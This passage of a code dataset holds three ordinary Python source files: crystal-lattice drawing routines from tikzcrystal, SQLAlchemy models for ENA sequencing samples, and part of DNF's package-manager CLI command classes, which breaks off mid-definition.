atoms_xyz[i][0], atoms_xyz[i][1], atoms_xyz[i][2]\n sphere_line = 'ball x=' + str(x) + ' y=' + str(y) + ' z=' + str(z) + ' r=' + str(r) + ' colour=' + atoms_colours[i]\n cmd_lines.append(sphere_line) \n \n # Non Line Interstitials (these don't have grid lines drawn to them) \n for i in crys['interstitial']:\n if(i[4].lower() != \"lines\"):\n x, y, z = crystal.ctransform(i[0], i[1], i[2], a, b, c, alpha, beta, gamma) \n sphere_line = 'ball x=' + str(x) + ' y=' + str(y) + ' z=' + str(z) + ' r=' + str(r) + ' colour=' + i[3]\n cmd_lines.append(sphere_line) \n try:\n interstitial_xyz.append([i[5],x,y,z])\n except:\n interstitial_xyz.append([None,x,y,z])\n \n # Store\n crys['interstitial_xyz'] = interstitial_xyz\n \n # Lines\n join_lines = crystal.make_lines(crys, atoms, atoms_xyz, cx, cy, cz, a, b, c)\n cmd_lines = cmd_lines + join_lines\n \n # Interstitial lines\n join_lines = crystal.make_interstitial_lines(crys, cx, cy, cz, a, b, c)\n cmd_lines = cmd_lines + join_lines\n \n # Stated lines\n join_lines = crystal.make_stated_lines(crys, cx, cy, cz, a, b, c)\n cmd_lines = cmd_lines + join_lines\n \n \n \n return cmd_lines\n\n def make_sc(cx, cy, cz):\n unit = [[0,0,0]]\n return crystal.expand(unit, cx, cy, cz)\n\n def make_bcc(cx, cy, cz):\n unit = [[0,0,0],[0.5,0.5,0.5]]\n return crystal.expand(unit, cx, cy, cz)\n \n def make_fcc(cx, cy, cz):\n unit = [[0,0,0],[0.5,0.5,0.0],[0.5,0.0,0.5],[0.0,0.5,0.5]]\n return crystal.expand(unit, cx, cy, cz)\n \n def make_ec(cx, cy, cz):\n unit = [[0,0,0],[0.5,0.5,0]]\n return crystal.expand(unit, cx, cy, cz)\n \n def make_zb(cx, cy, cz):\n unit = [[0,0,0],[0.5,0.5,0.0],[0.5,0.0,0.5],[0.0,0.5,0.5],[0.25,0.25,0.25],[0.75,0.75,0.25],[0.25,0.75,0.75],[0.75,0.25,0.75]]\n return crystal.expand(unit, cx, cy, cz)\n \n def expand(unit, cx, cy, cz):\n cx_loops = cx\n cy_loops = cy\n cz_loops = cz\n surround = True\n if(surround):\n cx_loops = cx + 1\n cy_loops = cy + 1\n cz_loops = cz + 1\n atoms = [] \n for i in range(cx_loops):\n for j in range(cy_loops):\n for k in range(cz_loops):\n for atom in unit:\n x = round((i + atom[0]) * (1 / cx), 8)\n y = round((j + atom[1]) * (1 / cy), 8)\n z = round(1.0 - (k + atom[2]) * (1 / cz), 8)\n \n if(x <= 1.0 and y <= 1.0 and z <= 1.0 and x >= 0.0 and y >= 0.0 and z >= 0.0):\n atoms.append([x, y, z])\n for i in range(len(atoms)):\n for j in range(3):\n atoms[i][j] = atoms[i][j]\n return atoms\n\n def ctransform(x,y,z, a,b,c, alpha, beta, gamma):\n M = numpy.zeros((3,3,),)\n\n M[0,0] = a * numpy.sin(beta)\n M[0,1] = b * numpy.sin(alpha) * numpy.cos(gamma)\n M[0,2] = 0\n M[1,0] = 0\n M[1,1] = b * numpy.sin(alpha) * numpy.sin(gamma)\n M[1,2] = 0\n M[2,0] = a * numpy.cos(beta)\n M[2,1] = b * numpy.cos(alpha)\n M[2,2] = c\n\n xvec = numpy.zeros((3,),)\n xvec[0] = x\n xvec[1] = y\n xvec[2] = z\n\n yvec = numpy.matmul(M, xvec)\n\n return round(yvec[0],7), round(yvec[1],7), round(yvec[2],7)\n\n def neighbour_list(atoms):\n min_r = None\n max_r = None\n for i in range(len(atoms)):\n for j in range(i+1, len(atoms)):\n r = numpy.sqrt((atoms[i][0] - atoms[j][0])**2 + (atoms[i][1] - atoms[j][1])**2 + (atoms[i][2] - atoms[j][2])**2)\n if(min_r == None or min_r > r):\n min_r = r\n if(max_r == None or max_r < r):\n max_r = r\n return min_r, max_r\n\n def make_lines(crys, atoms, atoms_xyz, cx, cy, cz, a, b, c):\n \n vertex_large_on, vertex_large_colour, vertex_large_weight, vertex_large_type, vertex_large_f = crystal.line_details(crys['lines_vertex'])\n vertex_small_on, vertex_small_colour, vertex_small_weight, vertex_small_type, vertex_small_f = crystal.line_details(crys['lines_subcells'])\n diag_on, diag_colour, diag_weight, diag_type, diag_f = crystal.line_details(crys['lines_diag'])\n \n cmd_lines = []\n \n cell_diag = numpy.sqrt((a/cx)**2 + (b/cy)**2 + (c/cz)**2)\n \n nl = []\n nl_min = []\n nl_close = []\n nl_ortho = []\n nl_vertex_small = []\n nl_vertex_small_inner = []\n nl_vertex_large = []\n nl_diagonal = []\n nl_diagonal_short = []\n \n # Build neighbour list\n rcut_sq = (a/cx)**2 + (b/cy)**2 + (c/cz)**2\n for i in range(len(atoms)-1):\n for j in range(i+1, len(atoms)):\n rsq = (atoms[i][0] - atoms[j][0])**2 + (atoms[i][1] - atoms[j][1])**2 + (atoms[i][2] - atoms[j][2])**2\n if(rsq > 0.0 and rsq <= rcut_sq):\n r = numpy.sqrt(rsq) \n nl.append([r, atoms[i], atoms[j], atoms_xyz[i], atoms_xyz[j]])\n \n # Neighbours \n for i in range(len(atoms)):\n nl_min.append(None)\n for j in range(len(atoms)): \n if(i != j):\n rsq = (atoms[i][0] - atoms[j][0])**2 + (atoms[i][1] - atoms[j][1])**2 + (atoms[i][2] - atoms[j][2])**2\n if(rsq > 0.0 and rsq <= rcut_sq):\n r = numpy.sqrt(rsq) \n if((nl_min[i] == None) or (r <nl_min[i])):\n nl_min[i] = r\n\n # Nearby Neighbours\n for i in range(len(nl)):\n if(nl[i][0] <= 1.05 * cell_diag):\n nl_close.append(nl[i]) \n \n # Orthogonal\n for i in range(len(nl_close)):\n if(crystal.ortho(nl_close[i][3], nl_close[i][4])):\n nl_ortho.append(nl_close[i])\n \n # vertex (smaller sub cells)\n for i in range(len(nl_ortho)):\n nx = a * (min(numpy.floor(0.5 * cx * (nl_ortho[i][3][0] + nl_ortho[i][4][0])), cx-1) / cx)\n ny = b * (min(numpy.floor(0.5 * cy * (nl_ortho[i][3][1] + nl_ortho[i][4][1])), cy-1) / cy)\n nz = c * (min(numpy.floor(0.5 * cz * (nl_ortho[i][3][2] + nl_ortho[i][4][2])), cz-1) / cz)\n if(crystal.vertex(nl_ortho[i][3], nl_ortho[i][4],nx,ny,nz,a/cx,b/cy,c/cz)):\n nl_vertex_small.append(nl_ortho[i])\n \n # vertex (smaller sub cells inner)\n for i in range(len(nl_ortho)):\n nx = a * (min(numpy.floor(0.5 * cx * (nl_ortho[i][3][0] + nl_ortho[i][4][0])), cx-1) / cx)\n ny = b * (min(numpy.floor(0.5 * cy * (nl_ortho[i][3][1] + nl_ortho[i][4][1])), cy-1) / cy)\n nz = c * (min(numpy.floor(0.5 * cz * (nl_ortho[i][3][2] + nl_ortho[i][4][2])), cz-1) / cz)\n if(crystal.vertex(nl_ortho[i][3], nl_ortho[i][4],nx,ny,nz,a/cx,b/cy,c/cz)):\n if(not crystal.vertex(nl_ortho[i][3], nl_ortho[i][4],0,0,0,1,1,1)):\n nl_vertex_small_inner.append(nl_ortho[i])\n \n # vertex (large cell)\n for i in range(len(nl_ortho)):\n if(crystal.vertex(nl_ortho[i][3], nl_ortho[i][4],0,0,0,1,1,1)):\n nl_vertex_large.append(nl_ortho[i]) \n \n # diag\n for i in range(len(nl_close)):\n if(not crystal.ortho(nl_close[i][3], nl_close[i][4])):\n nl_diagonal.append(nl_close[i])\n \n # diag\n for i in range(len(nl_close)):\n if(not crystal.ortho(nl_close[i][3], nl_close[i][4]) and nl_close[i][0] <= diag_f * cell_diag):\n nl_diagonal_short.append(nl_close[i])\n \n if(vertex_large_on):\n cmd_lines = crystal.add_lines(cmd_lines, nl_vertex_large, vertex_large_type, vertex_large_weight, vertex_large_colour)\n if(vertex_small_on):\n cmd_lines = crystal.add_lines(cmd_lines, nl_vertex_small_inner, vertex_small_type, vertex_small_weight, vertex_small_colour)\n if(diag_on):\n cmd_lines = crystal.add_lines(cmd_lines, nl_diagonal_short, diag_type, diag_weight, diag_colour)\n \n return cmd_lines\n \n \n \n def make_interstitial_lines(crys, cx, cy, cz, a, b, c):\n cmd_lines = []\n lines = []\n for il in crys['ilines']:\n la = il[0]\n lb = il[1]\n colour = il[2]\n weight = il[3]\n type = il[4]\n \n for i in range(len(crys['interstitial_xyz'])):\n if(crys['interstitial_xyz'][i][0] == la):\n for j in range(len(crys['interstitial_xyz'])):\n if(crys['interstitial_xyz'][j][0] == lb):\n xa = crys['interstitial_xyz'][i][1]\n ya = crys['interstitial_xyz'][i][2]\n za = crys['interstitial_xyz'][i][3]\n xb = crys['interstitial_xyz'][j][1]\n yb = crys['interstitial_xyz'][j][2]\n zb = crys['interstitial_xyz'][j][3]\n if([xa,ya,za,xb,yb,zb] in lines or [xb,yb,zb,xa,ya,za] in lines):\n pass\n else:\n lines.append([xa,ya,za,xb,yb,zb])\n cmd_lines = crystal.add_lines_i(cmd_lines, [xa,ya,za], [xb,yb,zb], type, weight, colour) \n return cmd_lines\n \n \n def make_stated_lines(crys, cx, cy, cz, a, b, c):\n cmd_lines = []\n lines = []\n for l in crys['lines']:\n cmd_lines = crystal.add_lines_i(cmd_lines, [l['xa'],l['ya'],l['za']], [l['xb'],l['yb'],l['zb']], l['type'], l['weight'], l['colour'])\n #print(l)\n\n return cmd_lines\n \n \n \n \n def ortho(xyz_a, xyz_b):\n is_ortho = False\n if(abs(xyz_a[0] - xyz_b[0]) <= 1.0e-5 and abs(xyz_a[1] - xyz_b[1]) <= 1.0e-5):\n is_ortho = True\n elif(abs(xyz_a[0] - xyz_b[0]) <= 1.0e-5 and abs(xyz_a[2] - xyz_b[2]) <= 1.0e-5):\n is_ortho = True\n elif(abs(xyz_a[1] - xyz_b[1]) <= 1.0e-5 and abs(xyz_a[2] - xyz_b[2]) <= 1.0e-5):\n is_ortho = True \n return is_ortho\n \n \n def vertex(xyz_a, xyz_b, ox, oy, oz, a, b, c):\n corners = [\n [ox, oy, oz],\n [ox + a, oy, oz],\n [ox, oy + b, oz],\n [ox, oy, oz + c],\n [ox + a, oy + b, oz],\n [ox + a, oy, oz + c],\n [ox, oy + b, oz + c],\n [ox + a, oy + b, oz + c]] \n \n is_vertex = False \n if(abs(xyz_a[0] - xyz_b[0]) <= 1.0e-5 and abs(xyz_a[1] - xyz_b[1]) <= 1.0e-5):\n is_vertex = True\n if(not(abs(xyz_a[0] - ox) <= 1.0e-5 or abs(xyz_a[0] - (ox + a)) <= 1.0e-5)):\n is_vertex = False\n if(not(abs(xyz_a[1] - oy) <= 1.0e-5 or abs(xyz_a[1] - (oy + b)) <= 1.0e-5)):\n is_vertex = False\n if(abs(xyz_a[0] - xyz_b[0]) <= 1.0e-5 and abs(xyz_a[2] - xyz_b[2]) <= 1.0e-5):\n is_vertex = True\n if(not(abs(xyz_a[0] - ox) <= 1.0e-5 or abs(xyz_a[0] - (ox + a)) <= 1.0e-5)):\n is_vertex = False\n if(not(abs(xyz_a[2] - oz) <= 1.0e-5 or abs(xyz_a[2] - (oz + c)) <= 1.0e-5)):\n is_vertex = False \n if(abs(xyz_a[1] - xyz_b[1]) <= 1.0e-5 and abs(xyz_a[2] - xyz_b[2]) <= 1.0e-5):\n is_vertex = True\n if(not(abs(xyz_a[1] - oy) <= 1.0e-5 or abs(xyz_a[1] - (oy + b)) <= 1.0e-5)):\n is_vertex = False\n if(not(abs(xyz_a[2] - oz) <= 1.0e-5 or abs(xyz_a[2] - (oz + c)) <= 1.0e-5)):\n is_vertex = False \n \n #print(corners)\n \n return is_vertex \n \n \n def add_lines(cmd_lines, pairs, type, weight, colour='#000022'):\n for pair in pairs:\n xa = str(pair[3][0])\n ya = str(pair[3][1])\n za = str(pair[3][2])\n xb = str(pair[4][0])\n yb = str(pair[4][1])\n zb = str(pair[4][2])\n join_line = 'line xa=' + str(xa) + ' xb=' + str(xb) + ' ya=' + str(ya) + ' yb=' + str(yb) + ' za=' + str(za) + ' zb=' + str(zb) + ' colour='+colour+' type=' + type + ' line_weight=\"' + weight + '\"'\n cmd_lines.append(join_line) \n return cmd_lines\n \n def add_lines_i(cmd_lines, a, b, type, weight, colour='#000022'):\n xa = str(a[0])\n ya = str(a[1])\n za = str(a[2])\n xb = str(b[0])\n yb = str(b[1])\n zb = str(b[2])\n join_line = 'line xa=' + str(xa) + ' xb=' + str(xb) + ' ya=' + str(ya) + ' yb=' + str(yb) + ' za=' + str(za) + ' zb=' + str(zb) + ' colour='+colour+' type=' + type + ' line_weight=\"' + weight + '\"'\n #print(join_line)\n cmd_lines.append(join_line) \n return cmd_lines \n \n def line_details(details):\n ds = []\n for d in details:\n ds.append(d.strip().lower())\n \n if('none' in ds):\n on = False\n colour = '#FFFFFF' \n weight = ''\n type = ''\n f = 0.5\n else:\n on = True\n colour = '#000000' \n weight = 'thin'\n type = 'solid'\n f = 0.5\n if('thin' in ds):\n weight = 'thin'\n elif('very thin' in ds):\n weight = 'very thin'\n elif('thick' in ds):\n weight = 'thick'\n elif('very thick' in ds):\n weight = 'very thick'\n elif('ultra thick' in ds):\n weight = 'ultra thick'\n if('solid' in ds):\n type = 'solid'\n elif('dashed' in ds):\n type = 'dashed'\n elif('dotted' in ds):\n type = 'dotted' \n for d in ds:\n if(len(d) == 7 and d[0] == '#'):\n colour = d[0:7] \n for d in ds:\n try:\n f = float(d)\n break\n except:\n pass\n return on, colour, weight, type, f\n \n \n def read_file(crys):\n if('file' not in crys.keys()):\n return crys\n if(crys['file'] == None):\n return crys\n \n ft = file_type.check(crys['file'][0])\n \n if(ft == 'qe'):\n pw = pwscf_output(crys['file'][0])\n \n crys['type'][0] = 'file'\n crys['file_xyz'] = pw.get_crystal_positions()\n crys['file_xyz'] = crys['file_xyz'] % 1.0\n \n crys['a'][0] = 1.0\n crys['b'][0] = 1.0\n crys['c'][0] = 1.0\n crys['alpha'][0] = 90.0\n crys['beta'][0] = 90.0\n crys['gamma'][0] = 90.0\n \n \n crys['file_atoms'] = []\n for i in range(len(crys['file_xyz'])):\n crys['file_atoms'].append([crys['file_xyz'][i,0],crys['file_xyz'][i,1],crys['file_xyz'][i,2]])\n \n \n crys['file_atoms_expanded'] = crystal.expand(crys['file_atoms'], int(crys['cx'][0]), int(crys['cy'][0]), int(crys['cz'][0]))\n \n for i in range(len(crys['file_atoms_expanded'])):\n print((i+1),crys['file_atoms_expanded'][i][:])\n #unit = [[0,0,0],[0.5,0.5,0.0],[0.5,0.0,0.5],[0.0,0.5,0.5]]\n #return crystal.expand(unit, cx, cy, cz)\n \n \n return crys\n \n \n \n \n \n \n \n \n \n \n \"\"\"\n \n # Draw Outer \n draw_outer = True\n if(draw_outer):\n for pair in shell_lines:\n \n xa = str(pair[3][0])\n ya = str(pair[3][1])\n za = str(pair[3][2])\n xb = str(pair[4][0])\n yb = str(pair[4][1])\n zb = str(pair[4][2])\n \n join_line = 'line xa=' + str(xa) + ' xb=' + str(xb) + ' ya=' + str(ya) + ' yb=' + str(yb) + ' za=' + str(za) + ' zb=' + str(zb) + ' colour=#000022 type=dashed line_weight=\"thick\"'\n cmd_lines.append(join_line) \n #print(pair)\n \"\"\" \n \n \n \"\"\"\n cmd_lines = [] \n for i in range(len(nl)):\n for j in range(len(nl[i])):\n xa = str(nl[i][j][3][0])\n ya = str(nl[i][j][3][1])\n za = str(nl[i][j][3][2])\n xb = str(nl[i][j][4][0])\n yb = str(nl[i][j][4][1])\n zb = str(nl[i][j][4][2])\n \n if(nl[i][j][5] == True and nl[i][j][0] <= 1.8 * ij_min[i]): \n if(nl[i][j][6]):\n if((abs(1 - nl[i][j][3][2]) <= 0.01) and (abs(1 - nl[i][j][4][2]) <= 0.01)):\n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000022 type=solid line_weight=\"ultra thick\"'\n cmd_lines.append(join_line) \n else:\n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000022 type=solid line_weight=\"thin\"'\n cmd_lines.append(join_line) \n else: \n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000022 type=dashed line_weight=\"thick\"'\n cmd_lines.append(join_line) \n #if(nl[i][j][5] == False and nl[i][j][0] <= 1.05 * ij_min_na[i]):\n #(abs(nl[i][j][0] - cell_diag) > (0.05 * cell_diag))\n if(nl[i][j][5] == False and (nl[i][j][0] <= 1.05 * ij_min_na[i]) and nl[i][j][0] < 0.7 * cell_diag):\n #print(ij_min_na[i], nl[i][j][0], cell_diag)\n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000022 type=dashed line_weight=\"thin\"'\n #cmd_lines.append(join_line) \n \"\"\" \n \"\"\" \n xa = atom_j[3][0]\n ya = atom_j[3][1]\n za = atom_j[3][2]\n xb = atom_j[4][0]\n yb = atom_j[4][1]\n zb = atom_j[4][2]\n \n axis_line = False\n if(abs(xa - xb) <= 1.0e-5 and abs(ya - yb) <= 1.0e-5):\n axis_line = True\n elif(abs(xa - xb) <= 1.0e-5 and abs(za - zb) <= 1.0e-5):\n axis_line = True\n elif(abs(ya - yb) <= 1.0e-5 and abs(za - zb) <= 1.0e-5):\n axis_line = True\n \n xa = str(xa)\n ya = str(ya)\n za = str(za)\n xb = str(xb)\n yb = str(yb)\n zb = str(zb)\n \n if(axis_line):\n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000066 type=solid'\n cmd_lines.append(join_line) \n \"\"\"\n \n \"\"\"\n for pair in nl:\n xa = str(pair[2][0])\n ya = str(pair[2][1])\n za = str(pair[2][2])\n xb = str(pair[3][0])\n yb = str(pair[3][1])\n zb = str(pair[3][2])\n \n print(xa, ya, za, xb, yb, zb)\n \n axis_line = False\n if(abs(pair[2][0] - pair[3][0]) <= 1.0e-5 and abs(pair[2][1] - pair[3][1]) <= 1.0e-5):\n axis_line = True\n elif(abs(pair[2][0] - pair[3][0]) <= 1.0e-5 and abs(pair[2][2] - pair[3][2]) <= 1.0e-5):\n axis_line = True\n elif(abs(pair[2][1] - pair[3][1]) <= 1.0e-5 and abs(pair[2][2] - pair[3][2]) <= 1.0e-5):\n axis_line = True\n \n line_type = 'dashed'\n if(axis_line):\n line_type = 'solid'\n \n \n join_line = 'line xa=' + xa + ' xb=' + xb + ' ya=' + ya + ' yb=' + yb + ' za=' + za + ' zb=' + zb + ' colour=#000066 type=' + line_type\n cmd_lines.append(join_line) \n \"\"\"\n \n \n \n ","repo_name":"BenPalmer1983/tikzcrystal","sub_path":"src/crystal.py","file_name":"crystal.py","file_ext":"py","file_size_in_byte":26455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8062967628","text":"\"\"\"\nThe models that represent the database objects\n\"\"\"\nimport enum\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import (\n Column,\n String,\n Integer,\n Text,\n ForeignKey,\n Date,\n Enum,\n Table,\n MetaData,\n)\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.sql import text\nfrom sqlalchemy_views import CreateView\n\nBase = declarative_base()\nmetadata = Base.metadata\n\nSAMPLE_FIELDS = (\n \"run_accession,instrument_platform,read_count,fastq_md5,\"\n \"fastq_ftp,collection_date,host,country\"\n)\nSAMPLE_RESULT = \"read_run\"\nSAMPLE_LIMIT = 0\nSAMPLE_FORMAT = \"tsv\"\nSAMPLE_DOWNLOAD = \"true\"\n\n\nclass SampleStatus(enum.Enum):\n \"\"\"\n Enum of the status for the samples.\n\n UNPROCESSED - The files have not been downloaded yet and the metadata\n has not been checked\n\n DOWNLOADED - The files have been downloaded and the metadata has been\n checked\n\n ERROR - Any error occured either during the download of the data or the\n checking of the metadata\n \"\"\"\n\n UNPROCESSED = 1\n DOWNLOADED = 2\n ERROR = 3\n\n\nclass Project(Base):\n \"\"\"\n Holds the details of the projects from which we wish to download samples\n \"\"\"\n\n __tablename__ = \"projects\"\n\n accession = Column(String(20), nullable=False, primary_key=True)\n name = Column(String(255))\n samples = relationship(\"Sample\", backref=\"project\")\n\n def __init__(self, accession: str, name: str = None) -> None:\n self.accession = accession\n self.name = name\n\n\nclass Sample(Base):\n \"\"\"\n Holds the details of the samples, metadata from the ENA and the JSON\n to pass to APEX\n \"\"\"\n\n __tablename__ = \"samples\"\n\n accession = Column(String(20), nullable=False, primary_key=True)\n project_acession = Column(String(20), ForeignKey(\"projects.accession\"))\n instrument_platform = Column(String(30), nullable=False)\n read_count = Column(Integer)\n fastq_md5 = Column(String(255))\n fastq_ftp = Column(String(255))\n collection_date = Column(Date)\n host = Column(String(255))\n country = Column(String(30))\n json_metadata = Column(Text)\n status = Column(Enum(SampleStatus), server_default=\"UNPROCESSED\")\n error_text = Column(Text)\n\n def __init__(\n self,\n accession: str,\n project: Project,\n instrument_platform: str,\n read_count: int,\n fastq_md5: str,\n fastq_ftp: str,\n collection_date: Date,\n host: str,\n country: str,\n json_metadata: str,\n error_text: str,\n status: SampleStatus = SampleStatus.UNPROCESSED,\n ):\n self.accession = accession\n self.project = project\n self.instrument_platform = instrument_platform\n self.read_count = read_count\n self.fastq_md5 = fastq_md5\n self.fastq_ftp = fastq_ftp\n self.collection_date = collection_date\n self.host = host\n self.country = country\n self.json_metadata = json_metadata\n self.status = status\n self.error_text = error_text\n\n\nsample_view = Table(\"sample_view\", MetaData())\nsample_view_sql = text(\n \"\"\"\n select accession\n from samples\n where status = 'UNPROCESSED'\n order by collection_date desc\n fetch first 10 rows only\n \"\"\"\n)\nCreateView(sample_view, sample_view_sql)\n","repo_name":"oxfordmmm/gpas_adb","sub_path":"gpas_adb/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6903149992","text":"from __future__ import print_function\nfrom __future__ import unicode_literals\nfrom dnf.i18n import _, ucd\n\nimport dnf.cli\nimport dnf.const\nimport dnf.exceptions\nimport dnf.i18n\nimport dnf.pycomp\nimport dnf.util\nimport dnf.yum.config\nimport functools\nimport logging\nimport operator\nimport os\nimport time\n\nlogger = logging.getLogger('dnf')\n_RPM_VERIFY = _(\"To diagnose the problem, try running: '%s'.\") % \\\n 'rpm -Va --nofiles --nodigest'\n_RPM_REBUILDDB = _(\"You probably have corrupted RPMDB, running '%s'\"\n \" might fix the issue.\") % 'rpm --rebuilddb'\n\ngpg_msg = \\\n _(\"\"\"You have enabled checking of packages via GPG keys. This is a good thing.\nHowever, you do not have any GPG public keys installed. You need to download\nthe keys for packages you wish to install and install them.\nYou can do that by running the command:\n rpm --import public.gpg.key\n\n\nAlternatively you can specify the url to the key you would like to use\nfor a repository in the 'gpgkey' option in a repository section and DNF\nwill install it for you.\n\nFor more information contact your distribution or package provider.\"\"\")\n\n\ndef err_mini_usage(cli, basecmd):\n if basecmd not in cli.cli_commands:\n cli.print_usage()\n return\n cmd = cli.cli_commands[basecmd]\n txt = cli.cli_commands[\"help\"]._makeOutput(cmd)\n logger.critical(_(' Mini usage:\\n'))\n logger.critical(txt)\n\ndef checkGPGKey(base, cli):\n \"\"\"Verify that there are gpg keys for the enabled repositories in the\n rpm database.\n\n :param base: a :class:`dnf.Base` object.\n :raises: :class:`cli.CliError`\n \"\"\"\n if cli.nogpgcheck:\n return\n if not base.gpgKeyCheck():\n for repo in base.repos.iter_enabled():\n if (repo.gpgcheck or repo.repo_gpgcheck) and not repo.gpgkey:\n logger.critical(\"\\n%s\\n\", gpg_msg)\n logger.critical(_(\"Problem repository: %s\"), repo)\n raise dnf.cli.CliError\n\ndef checkPackageArg(cli, basecmd, extcmds):\n \"\"\"Verify that *extcmds* contains the name of at least one package for\n *basecmd* to act on.\n\n :param base: a :class:`dnf.Base` object.\n :param basecmd: the name of the command being checked for\n :param extcmds: a list of arguments passed to *basecmd*\n :raises: :class:`cli.CliError`\n \"\"\"\n if len(extcmds) == 0:\n logger.critical(\n _('Error: Need to pass a list of pkgs to %s'), basecmd)\n err_mini_usage(cli, basecmd)\n raise dnf.cli.CliError\n\ndef checkItemArg(cli, basecmd, extcmds):\n \"\"\"Verify that *extcmds* contains the name of at least one item for\n *basecmd* to act on. Generally, the items are command-line\n arguments that are not the name of a package, such as a file name\n passed to provides.\n\n :param base: a :class:`dnf.Base` object.\n :param basecmd: the name of the command being checked for\n :param extcmds: a list of arguments passed to *basecmd*\n :raises: :class:`cli.CliError`\n \"\"\"\n if len(extcmds) == 0:\n logger.critical(_('Error: Need an item to match'))\n err_mini_usage(cli, basecmd)\n raise dnf.cli.CliError\n\ndef checkEnabledRepo(base, possible_local_files=[]):\n \"\"\"Verify that there is at least one enabled repo.\n\n :param base: a :class:`dnf.Base` object.\n :param basecmd: the name of the command being checked for\n :param extcmds: a list of arguments passed to *basecmd*\n :raises: :class:`cli.CliError`:\n \"\"\"\n if base.repos.any_enabled():\n return\n\n for lfile in possible_local_files:\n if lfile.endswith(\".rpm\") and os.path.exists(lfile):\n return\n\n msg = _('There are no enabled repos.')\n raise dnf.cli.CliError(msg)\n\n\ndef parse_spec_group_file(extcmds):\n pkg_specs, grp_specs, filenames = [], [], []\n for argument in extcmds:\n if argument.endswith('.rpm'):\n filenames.append(argument)\n elif argument.startswith('@'):\n grp_specs.append(argument[1:])\n else:\n pkg_specs.append(argument)\n return pkg_specs, grp_specs, filenames\n\nclass Command(object):\n \"\"\"Abstract base class for CLI commands.\"\"\"\n\n activate_sack = False\n aliases = [] # :api\n allow_erasing = False\n load_available_repos = True\n resolve = False\n summary = \"\" # :api\n usage = \"\" # :api\n writes_rpmdb = False\n\n def __init__(self, cli):\n self.cli = cli # :api\n\n @property\n def base(self):\n # :api\n return self.cli.base\n\n @property\n def output(self):\n return self.cli.base.output\n\n @classmethod\n def canonical(cls, command_list):\n \"\"\"Turn list of commands into a canonical form.\n\n Returns the base command and a list of extra commands.\n\n \"\"\"\n base = cls.aliases[0]\n extra = command_list[1:]\n return (base, extra)\n\n def configure(self, args):\n \"\"\"Do any command-specific configuration. #:api\"\"\"\n\n # built-in commands use class/instance attributes to state their demands:\n demands = self.cli.demands\n if self.activate_sack:\n demands.sack_activation = True\n if self.allow_erasing:\n demands.allow_erasing = True\n if self.load_available_repos:\n demands.available_repos = True\n if self.resolve:\n demands.resolving = True\n if self.writes_rpmdb:\n demands.root_user = True\n\n def get_error_output(self, error):\n \"\"\"Get suggestions for resolving the given error.\"\"\"\n if isinstance(error, dnf.exceptions.TransactionCheckError):\n return (_RPM_VERIFY, _RPM_REBUILDDB)\n raise NotImplementedError('error not supported yet: %s' % error)\n\n def doCheck(self, basecmd, extcmds):\n \"\"\"Verify that various conditions are met so that the command\n can run.\n\n :param basecmd: the name of the command being checked for\n :param extcmds: a list of arguments passed to *basecmd*\n \"\"\"\n pass\n\n def run(self, extcmds):\n \"\"\"Execute the command #:api\n\n :param extcmds: a list of arguments passed to *basecmd*\n\n \"\"\"\n pass\n\n def run_transaction(self):\n \"\"\"Finalize operations post-transaction.\"\"\"\n pass\n\nclass InfoCommand(Command):\n \"\"\"A class containing methods needed by the cli to execute the\n info command.\n \"\"\"\n\n aliases = ('info',)\n summary = _(\"Display details about a package or group of packages\")\n usage = \"[%s|all|available|installed|updates|extras|autoremove|obsoletes|recent]\" % _('PACKAGE')\n\n @staticmethod\n def parse_extcmds(extcmds):\n \"\"\"Parse command arguments.\"\"\"\n DEFAULT_PKGNARROW = 'all'\n if len(extcmds) == 0:\n return DEFAULT_PKGNARROW, extcmds\n\n pkgnarrows = {'available', 'installed', 'extras', 'upgrades', 'autoremove',\n 'recent', 'obsoletes', DEFAULT_PKGNARROW}\n if extcmds[0] in pkgnarrows:\n return extcmds[0], extcmds[1:]\n elif extcmds[0] == 'updates':\n return 'upgrades', extcmds[1:]\n else:\n return DEFAULT_PKGNARROW, extcmds\n\n def configure(self, _):\n demands = self.cli.demands\n demands.available_repos = True\n demands.fresh_metadata = False\n demands.sack_activation = True\n\n def run(self, extcmds):\n pkgnarrow, patterns = self.parse_extcmds(extcmds)\n return self.base.output_packages('info', pkgnarrow, patterns)\n\nclass ListCommand(InfoCommand):\n \"\"\"A class containing methods needed by the cli to execute the\n list command.\n \"\"\"\n\n aliases = ('list',)\n summary = _(\"List a package or groups of packages\")\n\n def run(self, extcmds):\n pkgnarrow, patterns = self.parse_extcmds(extcmds)\n return self.base.output_packages('list', pkgnarrow, patterns)\n\n\nclass ProvidesCommand(Command):\n \"\"\"A class containing methods needed by the cli to execute the\n provides command.\n \"\"\"\n\n aliases = ('provides', 'whatprovides')\n summary = _(\"Find what package provides the given value\")\n usage = _(\"SOME_STRING\")\n\n def configure(self, _):\n demands = self.cli.demands\n demands.available_repos = True\n demands.fresh_metadata = False\n demands.sack_activation = True\n\n def doCheck(self, basecmd, extcmds):\n \"\"\"Verify that conditions are met so that this command can\n run; namely that this command is called with appropriate arguments.\n\n :param basecmd: the name of the command\n :param extcmds: the command line arguments passed to *basecmd*\n \"\"\"\n checkItemArg(self.cli, basecmd, extcmds)\n\n def run(self, extcmds):\n logger.debug(\"Searching Packages: \")\n return self.base.provides(extcmds)\n\nclass CheckUpdateCommand(Command):\n \"\"\"A class containing methods needed by the cli to execute the\n check-update command.\n \"\"\"\n\n activate_sack = True\n aliases = ('check-update',)\n summary = _(\"Check for available package upgrades\")\n usage = \"[%s...]\" % _('PACKAGE')\n\n def __init__(self, cli):\n super(CheckUpdateCommand, self).__init__(cli)\n\n def 